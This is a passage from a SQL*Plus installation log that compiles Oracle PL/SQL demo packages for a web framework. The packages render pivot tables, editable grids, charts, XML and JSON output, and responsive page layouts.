134 o.t(' <caption.center>', 'group by with multi-level rollup example');
135 tmp.s := 'region,country,city,dept,emp';
136 o.t(' <thead.border.darkbg>', o.t('<tr>', m.w('<th>@</th>', tmp.s)));
137 o.t(' <tbody.border>');
138 for i in c loop
139 -- when order cann't change
140 if not v_in_tr and i.r = 0 then
141 o.t('<tr>');
142 v_in_tr := true;
143 end if;
144 o.p(1, i.cnt);
145 if i.r = 1 then
146 -- last row
147 o.t('</tbody>');
148 o.t('<tfoot.border.darkbg>', o.t('<tr>', o.t('<th.center colspan=5>', 'total' || badge(i.cnt))));
149 elsif i.c = 1 then
150 o.t('<th.middle rowspan=?>', i.region_name || badge(i.cnt));
151 elsif i.l = 1 then
152 o.t('<th.middle rowspan=?>', i.country_name || badge(i.cnt));
153 elsif i.d = 1 then
154 o.t('<th.middle rowspan=?>', i.city || badge(i.cnt));
155 elsif i.e = 1 then
156 o.t('<th.middle rowspan=?>', i.department_name || badge(i.cnt));
157 else
158 o.t('<td>', i.fname);
159 o.t('</tr>');
160 v_in_tr := false;
161 end if;
162 end loop;
163 end;
164
165 procedure job_dept_sals is
166 v_header boolean := true;
167 type idx is table of varchar2(30) index by binary_integer;
168 v_dept_names idx;
169 cursor c is
170 select department_id, job_id, a.sal
171 from (select nvl(e.department_id, 0) department_id, nvl(e.job_id, '0') job_id, trunc(avg(e.salary)) sal
172 from employees e
173 where e.department_id is not null
174 group by cube(e.job_id, e.department_id)) a
175 right outer join (select d.department_id, j.job_id, null sal
176 from departments d, jobs j
177 union all
178 select d.department_id, '0' job_id, null sal
179 from departments d
180 union all
181 select 0 department_id, j.job_id, null sal from jobs j) b
182 using (department_id, job_id)
183 order by department_id asc nulls first, job_id asc nulls last;
184 begin
185 common_preface;
186 o.t('<table#report.table.table-bordered.table-hover rules=all>');
187 o.t(' <caption.indent>', 'cross table for h:job,v:dept, group by cube demo');
188 o.t(' <thead.border.darkbg>');
189 o.t(' <tr>');
190 o.t(' <th colspan=3,rowspan=2>', 'departments\jobs');
191 for i in (select j.job_id, j.job_title from jobs j order by j.job_id) loop
192 o.p(1, i.job_title);
193 o.t(' <th title=?>', i.job_id);
194 end loop;
195 for i in (select d.* from departments d order by d.department_id asc) loop
196 v_dept_names(i.department_id) := i.department_name;
197 end loop;
198 o.t(' </tr>');
199 o.t(' <tr>');
200 for i in c loop
201 if i.department_id = 0 then
202 o.t('<th>', i.sal);
203 else
204 if v_header then
205 o.t('</tr>');
206 o.t('</thead>');
207 o.t('<tbody.border>');
208 end if;
209 if i.job_id = '0' then
210 if v_header then
211 v_header := false;
212 else
213 o.t('</tr>');
214 end if;
215 o.p(1, v_dept_names(i.department_id));
216 o.t('<tr>');
217 o.t(' <th title=?>', i.department_id);
218 o.t(' <th>', v_dept_names(i.department_id));
219 o.t(' <th>', i.sal);
220 else
221 o.t('<td>', i.sal);
222 end if;
223 end if;
224 end loop;
225 o.t('</tr>');
226 end;
227
228 procedure dept_job_sals is
229 v_header boolean := true;
230 type idx is table of varchar2(100) index by varchar2(30);
231 v_job_names idx;
232 cursor c is
233 select department_id, job_id, a.sal
234 from (select nvl(e.department_id, 0) department_id, nvl(e.job_id, '0') job_id, trunc(avg(e.salary)) sal
235 from employees e
236 where e.department_id is not null
237 group by cube(e.job_id, e.department_id)) a
238 right outer join (select d.department_id, j.job_id, null sal
239 from departments d, jobs j
240 union all
241 select d.department_id, '0' job_id, null sal
242 from departments d
243 union all
244 select 0 department_id, j.job_id, null sal from jobs j) b
245 using (department_id, job_id)
246 order by job_id asc nulls last, department_id asc nulls last;
247 begin
248 common_preface;
249 o.t('<table#report.table.table-bordered.table-hover rules=all>');
250 o.t(' <caption.indent>', 'cross table for h:dept,v:job, group by cube demo');
251 o.t(' <thead.border.darkbg>');
252 o.t(' <tr>');
253 o.t(' <th colspan=3,rowspan=2>', 'jobs/departments');
254 for i in (select d.* from departments d order by d.department_id asc) loop
255 o.p(1, i.department_name);
256 o.t(' <th title=?>', i.department_id);
257 end loop;
258 for i in (select j.* from jobs j order by j.job_id asc) loop
259 v_job_names(i.job_id) := i.job_title;
260 end loop;
261 o.t(' </tr>');
262 o.t(' <tr>');
263 for i in c loop
264 if i.job_id = '0' then
265 o.t('<th>', i.sal);
266 else
267 if v_header then
268 o.t('</tr>');
269 o.t('</thead>');
270 o.t('<tbody.border>');
271 end if;
272 if i.department_id = 0 then
273 if v_header then
274 v_header := false;
275 else
276 o.t('</tr>');
277 end if;
278 o.p(1, v_job_names(i.job_id));
279 o.t('<tr>');
280 o.t(' <th title=?>', i.job_id);
281 o.t(' <th>', v_job_names(i.job_id));
282 o.t(' <th>', i.sal);
283 else
284 o.t(' <td>', i.sal);
285 end if;
286 end if;
287 end loop;
288 o.t('</tr>');
289 end;
290
291 end aggregation_b;
292 /
Warning: Package Body created with compilation errors.
SQL> @@analytic_b.spc
SQL> create or replace package analytic_b is
2
3 end analytic_b;
4 /
Package created.
SQL> @@analytic_b.bdy
SQL> create or replace package body analytic_b is
2
3 end analytic_b;
4 /
Package body created.
SQL> @@tables_h.spc
SQL> create or replace package tables_h is
2
3 procedure xeditable;
4
5 procedure handsontable;
6
7 procedure datatables;
8
9 end tables_h;
10 /
Package created.
SQL> @@tables_h.bdy
SQL> create or replace package body tables_h is
2
3 procedure xeditable is
4 v_value varchar2(100) := r.getc('value');
5 v_pk varchar2(100) := r.getc('pk');
6 begin
7 if r.method = 'POST' then
8 case r.getc('name')
9 when 'name' then
10 update user_t a set a.name = v_value where a.rowid = v_pk;
11 when 'pass' then
12 update user_t a set a.pass = v_value where a.rowid = v_pk;
13 end case;
14 return;
15 end if;
16 src_b.header;
17 o.u('<link rel=stylesheet/>', '[bootstrap.css]');
18 o.u('<script>', '[jquery.js]', '');
19 o.u('<script>', '[bootstrap.js]', '');
20 o.u('<link rel=stylesheet/>', '[bootstrap-editable.css]');
21 o.u('<script>', '[bootstrap-editable.js]', '');
22 o.t('<script>', t.fill('$.fn.editable.defaults.mode = "@";', r.getc('mode', 'inline')));
23 o.t('<style>',
24 '.name{width:10em;}
25 .pass{width:10em;}
26 table{table-layout:fixed}
27 td{padding:3px;}');
28 o.t('<div.container-fluid>');
29 o.t('<h3.page-header>', o.u('<a target=_blank>', 'http://vitalets.github.io/x-editable/', 'x-editable'));
30 o.t('<table.table.table-bordered>');
31 for i in (select a.*, rowid rid from user_t a) loop
32 o.p(1, i.rid);
33 o.t('<tr>');
34 o.t(' <td.name -name=name -pk=?>', i.name);
35 o.t(' <td.pass -name=pass -pk=?>', i.pass);
36 o.t('</tr>');
37 end loop;
38 o.t('</table>');
39
40 b.l('<script>
41 $(document).ready(function(){
42 $(".name").editable({
43 type : "text",
44 url : "tables_h.xeditable",
45 title : "enter username"
46 });
47 $(".pass").editable({
48 type : "text",
49 pk : 1,
50 url : "tables_h.xeditable",
51 title : "enter password"
52 });
53 });</script>');
54 end;
55
56 procedure handsontable is
57 cur sys_refcursor;
58 begin
59 if r.is_xhr then
60 open cur for
61 select rowid rid, a.* from countries a;
62 rs.print(cur);
63 return;
64 end if;
65 src_b.header;
66 o.u('<script>', '[jquery.js]', '');
67 o.u('<link rel=stylesheet/>', '[jquery.handsontable.full.css]');
68 o.u('<script>', '[jquery.handsontable.full.js]', '');
69 o.t('<h3.page-header>', o.u('<a target=_blank>', 'http://handsontable.com/', 'handsontable'));
70 o.t('<div#example>', '');
71 b.l('<script>
72 $.get(location.href, function(obj){
73 var head = obj.$DATA.attrs.map(function(v){return v.name;});
74 var data = obj.$DATA.rows.map(function(v){
75 return [ v[head[0]],v[head[1]],v[head[2]],v[head[3]],v[head[4]] ];
76 });
77 data.unshift(head);
78 $("#example").handsontable({
79 data: data,
80 minSpareRows: 1,
81 rowHeaders: true,
82 colHeaders: true,
83 contextMenu: true
84 });
85 });
86 </script>');
87 end;
88
89 procedure datatables is
90 begin
91 src_b.header;
92 o.u('<link rel=stylesheet/>', '[bootstrap.css]');
93 o.u('<script>', '[jquery.js]', '');
94 o.u('<link rel=stylesheet/>', '[dataTables.bootstrap.css]');
95 o.u('<script>', '[jquery.dataTables.js]', '');
96 o.u('<script>', '[dataTables.bootstrap.js]', '');
97 o.t('<h3.page-header>', o.u('<a target=_blank>', 'datatables', 'http://datatables.net/'));
98 o.t('<div.container-fluid>');
99
100 o.t('<table.table.table-bordered style=table-layout:fixed>');
101 o.t('<colgroup>', m.w('<col width="@0">', '20,15,20,10'));
102 o.t('<thead>', o.t('<tr>', m.w('<td>@</td>', 'name,email,phone,salary')));
103 o.t('<tbody>');
104 for i in (select a.*, rowid rid from employees a) loop
105 o.t('<tr>');
106 o.t(' <td>', i.first_name || ' ' || i.last_name);
107 o.t(' <td>', i.email);
108 o.t(' <td>', i.phone_number);
109 o.t(' <td>', i.salary);
110 o.t('</tr>');
111 end loop;
112 o.t('</tbody>');
113 o.t('</table>');
114
115 b.l('<script>
116 $(document).ready(function(){
117 $("table").DataTable();
118 });
119 </script>');
120 end;
121
122 end tables_h;
123 /
Warning: Package Body created with compilation errors.
SQL> @@icon_b.spc
SQL> create or replace package icon_b is
2
3 procedure material_design_icons;
4
5 procedure bootstrap_material_design;
6
7 procedure ionicons;
8
9 end icon_b;
10 /
Package created.
SQL> @@icon_b.bdy
SQL> create or replace package body icon_b is
2
3 procedure material_design_icons is
4 begin
5 src_b.header;
6 o.u('<link rel=stylesheet/>', '[bcdn]material-design-icons/2.0.0/iconfont/style.min.css');
7 o.t('<span.material-icons>', 'face');
8 end;
9
10 procedure bootstrap_material_design is
11 begin
12 src_b.header;
13 o.u('<link rel=stylesheet/>', '[bootstrap.css]');
14 o.u('<link rel=stylesheet/>', '[bcdn]bootstrap-material-design/0.3.0/css/material.min.css');
15 o.t('<button.btn.btn-material-deep-purple>', 'click me ' || o.t('<i.mdi-action-account-circle>', ''));
16 o.t('<i.mdi-action-face-unlock style="font-size:40px;color:blue;">', '');
17 o.t('<i.icon.icon-material-favorite>', '');
18 o.u('<script>', '[jquery.js]', '');
19 o.u('<script>', '[bcdn]bootstrap-material-design/0.3.0/js/material.min.js', '');
20 o.t('<script>', '$.material.init();');
21 end;
22
23 procedure ionicons is
24 begin
25 src_b.header;
26 o.u('<link rel=stylesheet/>', '[bcdn]ionicons/2.0.1/css/ionicons.min.css');
27 o.t('<style>', '.icon{font-size:40px;}');
28 o.t('<i.icon.ion-home>', '');
29 o.t('<i.icon.ion-ios-football>', '');
30 end;
31
32 end icon_b;
33 /
Warning: Package Body created with compilation errors.
SQL> @@chart_b.spc
SQL> create or replace package chart_b is
2
3 procedure salary_min_max_by_job_id;
4
5 procedure salary_share_by_job_id;
6
7 end chart_b;
8 /
Package created.
SQL> @@chart_b.bdy
SQL> create or replace package body chart_b is
2
3 procedure common_preface(default_type varchar2) is
4 v_chart_type varchar2(30) := r.getc('chart_type', default_type);
5 begin
6 src_b.header;
7 o.u('<link rel=stylesheet/>', '[animate.css]');
8 o.u('<script>', '[chart.js]', '');
9 o.u('<script>', '[zepto.js]', '');
10 o.u('<script>', '[underscore.js]', '');
11 o.t('<canvas#cc width=600 height=400>', '');
12 o.t('<script>',
13 t.ps('
14 var ctx = document.getElementById("cc").getContext("2d")
15 , demoChart = new Chart(ctx)
16 , chartType=":1"
17 ;',
18 st(v_chart_type)));
19 end;
20
21 procedure salary_min_max_by_job_id is
22 cur sys_refcursor;
23 begin
24 if r.is_xhr then
25 open cur for
26 select a.job_id, count(*) cnt, avg(a.salary) avg, min(a.salary) min, max(a.salary) max
27 from employees a
28 group by a.job_id
29 order by avg asc;
30 rs.print(cur);
31 return;
32 end if;
33
34 common_preface('Bar');
35 o.t('<div#links>');
36 o.u(' <a>', r.prog || '?chart_type=Line', 'Line');
37 o.u(' <a>', r.prog || '?chart_type=Bar', 'Bar');
38 o.u(' <a>', r.prog || '?chart_type=Radar', 'Rader');
39 o.t('</div>');
40 b.l('<script>
41 $.getJSON(location.pathname+"?data", function(data){
42 var salaries = data.$DATA.rows;
43 var chartData = {
44 labels : _.pluck(salaries, "job_id"),
45 datasets : [
46 {
47 fillColor : "rgba(220,220,220,0.5)",
48 strokeColor : "rgba(220,220,220,1)",
49 pointColor : "rgba(220,220,220,1)",
50 pointStrokeColor : "#fff",
51 data : _.pluck(salaries, "min")
52 },
53 {
54 fillColor : "rgba(151,187,205,0.5)",
55 strokeColor : "rgba(151,187,205,1)",
56 pointColor : "rgba(151,187,205,1)",
57 pointStrokeColor : "#fff",
58 data : _.pluck(salaries, "max")
59 }
60 ]
61 };
62 demoChart[chartType](chartData);
63 });</script>');
64 end;
65
66 procedure salary_share_by_job_id is
67 cur sys_refcursor;
68 begin
69 if r.is_xhr then
70 open cur for
71 select a.job_id, sum(a.salary) total from employees a group by a.job_id order by total asc;
72 rs.print(cur);
73 return;
74 end if;
75
76 common_preface('Pie');
77 o.t('<div#links>');
78 o.u(' <a>', r.prog || '?chart_type=Pie', 'Pie');
79 o.u(' <a>', r.prog || '?chart_type=PolarArea', 'PolarArea');
80 o.u(' <a>', r.prog || '?chart_type=Doughnut', 'Doughnut');
81 o.t('</div>');
82 b.l('<script>
83 $.getJSON(location.pathname+"?data", function(data){
84 var chartData = data.$DATA.rows.map(function(v,i){
85 return {
86 value : v.total,
87 color : "#"+Math.floor(Math.random() * 256*256*256).toString(16).toUpperCase()
88 };
89 });
90 demoChart[chartType](chartData);
91 });</script>');
92 end;
93 end chart_b;
94 /
Warning: Package Body created with compilation errors.
SQL> @@d3_chart_b.spc
SQL> create or replace package d3_chart_b is
2
3 end d3_chart_b;
4 /
Package created.
SQL> @@d3_chart_b.bdy
SQL> create or replace package body d3_chart_b is
2
3 end d3_chart_b;
4 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package XML_PAGE_B
Creating package XML_PAGE_B
SQL> prompt ===========================
===========================
SQL> prompt
SQL> @@xml_page_b.spc
SQL> create or replace package xml_page_b is
2
3 procedure xmlgen_str;
4
5 procedure xmlgen_cur;
6
7 procedure xmlgen_hier;
8
9 procedure sql_users;
10
11 procedure xml_users_css;
12
13 procedure xml_users_xsl_cli;
14
15 procedure xml_users_xsl_svr;
16
17 end xml_page_b;
18 /
Package created.
SQL> @@xml_page_b.bdy
SQL> create or replace package body xml_page_b is
2
3 -- private
4 procedure show_begin is
5 begin
6 b.line('<textarea cols="100" rows="20" style="#overflow:visible;">');
7 end;
8
9 -- private
10 procedure show_end is
11 begin
12 b.line('</textarea>');
13 end;
14
15 procedure xmlgen_str is
16 v dbms_xmlgen.ctxhandle;
17 v_clob clob;
18 begin
19 pc.h;
20 src_b.link_proc;
21 x.t('<br/>');
22
23 v := dbms_xmlgen.newcontext('select t.name as "td",t.pass as "td" from user_t t');
24 dbms_xmlgen.setrowsettag(v, 'table');
25 dbms_xmlgen.setrowtag(v, 'tr');
26
27 show_begin;
28 b.write(dbms_xmlgen.getxmltype(v).getclobval());
29 show_end;
30 end;
31
32 procedure xmlgen_cur is
33 c sys_refcursor;
34 v dbms_xmlgen.ctxhandle;
35 begin
36 pc.h;
37 src_b.link_proc;
38 x.t('<br/>');
39
40 open c for
41 select * from user_t;
42 v := dbms_xmlgen.newcontext(c);
43 dbms_xmlgen.setrowsettag(v, 'users');
44 dbms_xmlgen.setrowtag(v, 'user');
45
46 show_begin;
47 b.write(dbms_xmlgen.getxmltype(v).getclobval());
48 show_end;
49 close c;
50 end;
51
52 procedure xmlgen_hier is
53 c sys_refcursor;
54 v dbms_xmlgen.ctxhandle;
55 begin
56 pc.h;
57 src_b.link_proc;
58 x.t('<br/>');
59 open c for
60 select o.object_name as "name",
61 cursor (select p.procedure_name as "name" from user_procedures p where p.object_name = o.object_name) "procedures"
62 from user_objects o
63 where o.object_type = 'PACKAGE';
64 v := dbms_xmlgen.newcontext(c);
65 dbms_xmlgen.setrowsettag(v, 'packages');
66 dbms_xmlgen.setrowtag(v, 'package');
67 -- dbms_xmlgen.setmaxrows(v, 1);
68 show_begin;
69 b.write(dbms_xmlgen.getxmltype(v).getclobval());
70 show_end;
71 close c;
72 end;
73
74 procedure sql_users is
75 v_table xmltype;
76 begin
77 x.o('<html>');
78 x.o('<head>');
79 x.l(' <link>', 'user_table.css');
80 x.c('</head>');
81 x.o('<body>');
82 src_b.link_proc;
83 x.t('<br/>');
84
85 select xmlelement("table",
86 xmlattributes('all' as "rules"),
87 chr(10),
88 xmlagg(xmlelement("tr",
89 xmlattributes('black' as "class", 90 as "height", 'green' as "color"),
90 chr(10),
91 xmlforest(t.name as "td", t.pass as "td", (t.ctime) as "td"),
92 chr(10))))
93 into v_table
94 from user_t t
95 order by t.ctime asc;
96 b.write(v_table.getclobval);
97 end;
98
99 procedure xml_users_css is
100 c sys_refcursor;
101 v dbms_xmlgen.ctxhandle;
102 begin
103 h.content_type('text/xml');
104
105 open c for
106 select * from user_t;
107 v := dbms_xmlgen.newcontext(c);
108 dbms_xmlgen.setrowsettag(v, 'users');
109 dbms_xmlgen.setrowtag(v, 'user');
110 x.t('<?xml-stylesheet type="text/css" href=":1" media="screen"?>', st(l('@b/users_ol.css')));
111 b.write(dbms_xmlgen.getxmltype(v).getclobval);
112 close c;
113 end;
114
115 procedure xml_users_xsl_cli is
116 c sys_refcursor;
117 v dbms_xmlgen.ctxhandle;
118 v_url varchar2(500);
119 begin
120 h.content_type('text/xml');
121
122 open c for
123 select * from user_t;
124 v := dbms_xmlgen.newcontext(c);
125 dbms_xmlgen.setrowsettag(v, 'users');
126 dbms_xmlgen.setrowtag(v, 'user');
127 b.line('<?xml version="1.0" encoding="UTF-8"?>');
128 x.t('<?xml-stylesheet type="text/xsl" href=":1" media="screen"?>', st(l('@b/users.xsl')));
129 b.write(dbms_xmlgen.getxmltype(v).getclobval());
130 close c;
131 end;
132
133 -- has problem by now
134 procedure xml_users_xsl_svr is
135 c sys_refcursor;
136 v dbms_xmlgen.ctxhandle;
137 v_bfile bfile;
138 v_xml xmltype;
139 v_xsl xmltype;
140 v_str varchar2(4000);
141 v_xhtml xmltype;
142 begin
143 src_b.link_proc;
144 x.t('<br/>');
145
146 open c for
147 select * from user_t;
148 v := dbms_xmlgen.newcontext(c);
149 dbms_xmlgen.setrowsettag(v, 'users');
150 dbms_xmlgen.setrowtag(v, 'user');
151 v_xml := dbms_xmlgen.getxmltype(v);
152 close c;
153
154 tmp.s := '/demo/packs/xml_page_b/users.xsl';
155 v_bfile := bfilename('PSPDADS', tmp.s);
156 if dbms_lob.fileexists(v_bfile) = 0 then
157 raise_application_error(-20001, 'xslt file not exists');
158 end if;
159 v_xsl := xmltype(v_bfile, 0);
160
161 h.header_close;
162 v_xhtml := v_xml.transform(v_xsl);
163 b.write(v_xhtml.getclobval());
164 end;
165
166 end xml_page_b;
167 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package JSON_B
Creating package JSON_B
SQL> prompt ===========================
===========================
SQL> prompt
SQL> @@json_b.spc
SQL> create or replace package json_b is
2
3 procedure t1;
4
5 end json_b;
6 /
Package created.
SQL> @@json_b.bdy
SQL> create or replace package body json_b is
2
3 procedure t1 is
4 obj json_list;
5 l json_list := json_list();
6 o json;
7 begin
8 -- p.doc_type('text');
9 pc.h;
10 x.p('<p>', 'Building the first list');
11 obj := json_list(); --an empty structure
12 obj.append('a little string');
13 obj.append(123456789);
14 obj.append(true);
15 obj.append(false);
16 obj.append(json_value);
17 x.p('<p>', obj.to_char);
18 x.p('<p>', 'add with position ');
19 obj.append('Wow thats great!', 5);
20 x.p('<p>', obj.to_char);
21 x.p('<p>', 'remove with position');
22 obj.remove(4);
23 x.p('<p>', obj.to_char);
24 x.p('<p>', 'remove first');
25 obj.remove_first;
26 x.p('<p>', obj.to_char);
27 x.p('<p>', 'remove last');
28 obj.remove_last;
29 x.p('<p>', obj.to_char);
30 x.p('<p>', 'you can display the size of an list');
31 x.p('<p>', obj.count);
32 x.p('<p>', 'you can also add json or json_lists as values:');
33 obj := json_list(); --fresh list;
34 obj.append(json('{"lazy construction": true}').to_json_value);
35 obj.append(json_list('[1,2,3,4,5]'));
36 x.p('<p>', obj.to_char);
37 x.p('<p>', 'however notice that we had to use the "to_json_value" function on the json object');
38
39 for i in (select * from team_t a) loop
40 o := json(); --an empty structure
41 o.put('tid', i.tid);
42 o.put('tname', i.tname);
43 o.put('cdate', json_ext.to_json_value(i.cdate));
44 l.append(o.to_json_value);
45 end loop;
46 -- l := json_dyn.executeList('select * from team_t a');
47 p.script_open;
48 b.line('var teams =');
49 b.line(l.to_char);
50 b.line(';
51 for(i=0;i<teams.length;i++) document.body.insertAdjacentHTML("beforeEnd","<p>"+teams[i].tname+"</p>");
52 ');
53 p.script_close;
54 end;
55
56 end json_b;
57 /
Warning: Package Body created with compilation errors.
SQL>
SQL> -------------------------------------------
SQL>
SQL> prompt leverage oracle types and subtype
leverage oracle types and subtype
SQL> whenever sqlerror continue
SQL> @@tool.tps
SQL> create or replace type tool as object
2 (
3 -- Author : ADMINISTRATOR
4 -- Created : 2014-7-28 15:08:08
5 -- Purpose :
6
7 -- Attributes
8 class varchar2(30),
9
10 -- Member functions and procedures
11 member function wrap(str varchar2) return varchar2
12 )
13 not final
14 /
Type created.
SQL> @@tool.tpb
SQL> create or replace type body tool is
2
3 -- Member procedures and functions
4 member function wrap(str varchar2) return varchar2 is
5 begin
6 return '<p>' || str || '</p>';
7 end;
8
9 end;
10 /
Type body created.
SQL> @@tool2.tps
SQL> create or replace type tool2 under tool
2 (
3 -- Author : ADMINISTRATOR
4 -- Created : 2014-7-28 15:20:03
5 -- Purpose :
6
7 -- Attributes
8
9 -- Member functions and procedures
10 overriding member function wrap(str varchar2) return varchar2
11 )
12 /
Type created.
SQL> @@tool2.tpb
SQL> create or replace type body tool2 is
2
3 overriding member function wrap(str varchar2) return varchar2 is
4 begin
5 return '<h1>' || str || '</h1>';
6 end;
7
8 end;
9 /
Type body created.
SQL> whenever sqlerror exit
SQL> @@user_type_b.spc
SQL> create or replace package user_type_b is
2
3 procedure basic;
4
5 end user_type_b;
6 /
Package created.
SQL> @@user_type_b.bdy
SQL> create or replace package body user_type_b is
2
3 procedure basic is
4 v tool := tool('.');
5 begin
6 if r.getc('type', '') = '2' then
7 v := tool2('.');
8 else
9 v := tool('.');
10 end if;
11 b.write(v.wrap('hello world'));
12 end;
13
14 end user_type_b;
15 /
Package body created.
SQL>
SQL> prompt reuse js/css resource in container page, reduce repeated load of same url
reuse js/css resource in container page, reduce repeated load of same url
SQL> @@po_ajaxload_b.spc
SQL> create or replace package po_ajaxload_b is
2
3 procedure main;
4
5 end po_ajaxload_b;
6 /
Package created.
SQL> @@po_ajaxload_b.bdy
SQL> create or replace package body po_ajaxload_b is
2
3 procedure main is
4 begin
5 x.t('<DOCTYPE html>');
6 x.o('<html>');
7 x.o(' <head>');
8 x.s(' <base target=_blank>');
9 x.s(' <meta name=viewport,content=:1>', st('width=device-width, initial-scale=1'));
10 x.l(' <link>', '[bootstrap.css]');
11 x.j(' <script>', '[jquery.js]');
12 x.j(' <script>', '[bootstrap.js]');
13 x.p(' <script>', '$(function(){
14 $("body").on("click","a",function(e){
15 console.log($(this).attr("href"));
16 $("body").load($(this).attr("href"));
17 e.preventDefault();
18 e.stopPropagation();
19 });
20 $(document.body).load("po_content_b.packages");
21 })');
22 x.c(' </head>');
23 x.p(' <body>', '');
24 x.c('</html>');
25 end;
26
27 end po_ajaxload_b;
28 /
Package body created.
SQL> @@po_content_b.spc
SQL> create or replace package po_content_b is
2
3 procedure packages;
4
5 procedure procedures;
6
7 end po_content_b;
8 /
Package created.
SQL> @@po_content_b.bdy
SQL> create or replace package body po_content_b is
2
3 procedure packages is
4 begin
5 x.o('<html>');
6 x.o(' <body>');
7 for i in (select a.*
8 from user_objects a
9 where a.object_type = 'PACKAGE'
10 and a.object_name like '%_B') loop
11 x.p('<p>', x.a('<a>', i.object_name, '@b.procedures?pack=' || i.object_name));
12 end loop;
13 x.c(' </body>');
14 x.c('</html>');
15 end;
16
17 procedure procedures is
18 p_pack varchar2(30) := r.getc('pack');
19 begin
20 x.o('<html>');
21 x.o(' <body>');
22 for i in (select a.*
23 from user_procedures a
24 where a.object_name = p_pack
25 and a.procedure_name is not null) loop
26 x.o('<p>');
27 x.p(' <b>', i.procedure_name);
28 x.a(' <a>', 'src', 'src_b.proc?p=' || p_pack || '.' || i.procedure_name);
29 x.a(' <a>', 'exec', lower(p_pack || '.' || i.procedure_name));
30 x.c('</p>');
31 end loop;
32 x.c(' </body>');
33 x.c('</html>');
34 end;
35
36 end po_content_b;
37 /
Package body created.
SQL> @@po_frameset_b.spc
SQL> create or replace package po_frameset_b is
2
3 procedure main;
4
5 end po_frameset_b;
6 /
Package created.
SQL> @@po_frameset_b.bdy
SQL> create or replace package body po_frameset_b is
2
3 procedure main is
4 begin
5 x.t('<!DOCTYPE html>');
6 x.o('<html>');
7 x.o(' <frameset>');
8 x.j(' <frame>', 'po_content_b.packages');
9 x.c(' </frameset>');
10 x.c('</html>');
11 end;
12
13 end po_frameset_b;
14 /
Package body created.
SQL> @@po_iframe_b.spc
SQL> create or replace package po_iframe_b is
2
3 procedure main;
4
5 end po_iframe_b;
6 /
Package created.
SQL> @@po_iframe_b.bdy
SQL> create or replace package body po_iframe_b is
2
3 procedure main is
4 begin
5 x.t('<!DOCTYPE html>');
6 x.o('<html>');
7 x.o(' <head>');
8 x.p(' <style>', 'body,iframe{margin:0;padding:0;width:100%;height:100%;border:none;');
9 x.c(' </head>');
10 x.o(' <body>');
11 x.j(' <iframe>', 'po_content_b.packages');
12 x.c(' </body>');
13 x.c('</html>');
14 end;
15
16 end po_iframe_b;
17 /
Package body created.
SQL>
SQL> prompt adapt to different types of terminals, all screen sizes and resolutions, be responsive
adapt to different types of terminals, all screen sizes and resolutions, be responsive
SQL> @@layout_b.spc
SQL> create or replace package layout_b is
2
3 procedure form;
4
5 procedure reorder;
6
7 procedure use_layout;
8
9 end layout_b;
10 /
Package created.
SQL> @@layout_b.bdy
SQL> create or replace package body layout_b is
2
3 procedure form is
4 v_dir varchar2(1) := r.getc('dir', 'H');
5 procedure pad(pos pls_integer) is
6 begin
7 case v_dir
8 when 'H' then
9 case pos
10 when 1 then
11 x.t('<tr><th>');
12 when 2 then
13 x.t('</th><td>');
14 when 3 then
15 x.t('</td></tr>');
16 end case;
17 when 'V' then
18 case pos
19 when 1 then
20 x.t('<tr><th>');
21 when 2 then
22 x.t('</th></tr><tr><td>');
23 when 3 then
24 x.t('</td></tr>');
25 end case;
26 end case;
27 end;
28 begin
29 x.o('<html>');
30 x.o('<head>');
31 x.p('<style>', 'table{border:1px solid}td,th{padding:5px;}');
32 x.c('</head>');
33 x.o('<body>');
34 src_b.link_proc;
35 if v_dir = 'H' then
36 x.a('<a>', 'change to vertical layout', '@b.form?dir=V');
37 else
38 x.a('<a>', 'change to horizonal layout', '@b.form?dir=H');
39 end if;
40 x.o('<form>');
41 x.o('<table rules=all>');
42 for i in 1 .. 5 loop
43 pad(1);
44 x.p('<label>', 'name');
45 pad(2);
46 x.s('<input type=text>');
47 pad(3);
48 end loop;
49 x.c('</table>');
50 x.c('</form>');
51 end;
52
53 procedure reorder is
54 begin
55 x.o('<html>');
56 x.o('<head>');
57 x.o('<script#header type=text>');
58 x.p(' <p>', 'header');
59 x.c('</script>');
60 x.o('<script#footer type=text>');
61 x.p(' <p>', 'footer');
62 x.c('</script>');
63 x.c('</head>');
64 x.o('<body>');
65 src_b.header;
66 x.p('<div#c1>', '');
67 x.t('<hr/>');
68 x.p('<p>', 'main content here');
69 x.p('<p>', 'component html content printed in head as script(type=text)');
70 x.p('<p>', 'use js to fill the component content into anchar tags');
71 x.p('<p>', 'reorder parts of page in client is easy');
72 x.p('<p>', 'so noradle does''t support reorder at server side');
73 x.t('<hr/>');
74 x.p('<div#c2>', '');
75 x.c('</body>');
76 x.p('<script>', 'document.getElementById("c1").innerHTML =document.getElementById("header").innerHTML;');
77 x.p('<script>', 'document.getElementById("c2").innerHTML =document.getElementById("footer").innerHTML;');
78 x.c('</html>');
79 end;
80
81 procedure use_layout is
82 procedure layout_template(name varchar2 := null) is
83 begin
84 case r.return_before_set_this(name)
85 when '^' then
86 x.o('<html>');
87 x.o(' <head>');
88 x.p(' <title>', 'layout demo');
89 x.c(' </head>');
90 x.o(' <body>');
91 src_b.header;
92 x.o(' <header>');
93 when trim('{{header}}') then
94 x.c(' </header>');
95 x.t(' <hr/>');
96 x.o(' <article>');
97 when trim('{{content}}') then
98 x.c(' </article>');
99 x.t(' <hr/>');
100 x.p(' <footer>', 'layout template footer');
101 x.c(' </body>');
102 x.c('</html>');
103 end case;
104 end;
105 begin
106 layout_template('{{header}}');
107 x.p('<h1>', 'my own header');
108 layout_template('{{content}}');
109 x.p('<p>', 'my own content');
110 layout_template;
111 end;
112
113 end layout_b;
114 /
Package body created.
SQL> @@scale_b.spc
SQL> create or replace package scale_b is
2
3 procedure d;
4
5 end scale_b;
6 /
Package created.
SQL> @@scale_b.bdy
SQL> create or replace package body scale_b is
2
3 procedure d is
4 v_width varchar2(30) := r.getc('w');
5 begin
6 p.gv_scale := false;
7 -- ;initial-scale=1.0;minimum-scale=1.0,maximum-scale=1.0
8 tmp.s := 'initial-scale=1,user-scalable=no,width=?,height=device-height';
9 p.meta_name('viewport', replace(tmp.s, '?', nvl('60', 'device-width')));
10 p.comp_css_link(false);
11 p.h(title => 'scale test');
12 p.css('html,body{margin:0;padding:0;width:432;font-size:032px;overflow:hidden;}');
13 p.css('div#c{width:320px;background-color:silver;font-size:48px;overflow:hidden;white-space:wrap;}');
14 p.css('div>a{display:block;line-height:3em;}');
15 p.div_open(id => 'c');
16 p.div_close;
17 p.line('<div style="font-size:20px;">hello</div>');
18 p.p('width=' || v_width);
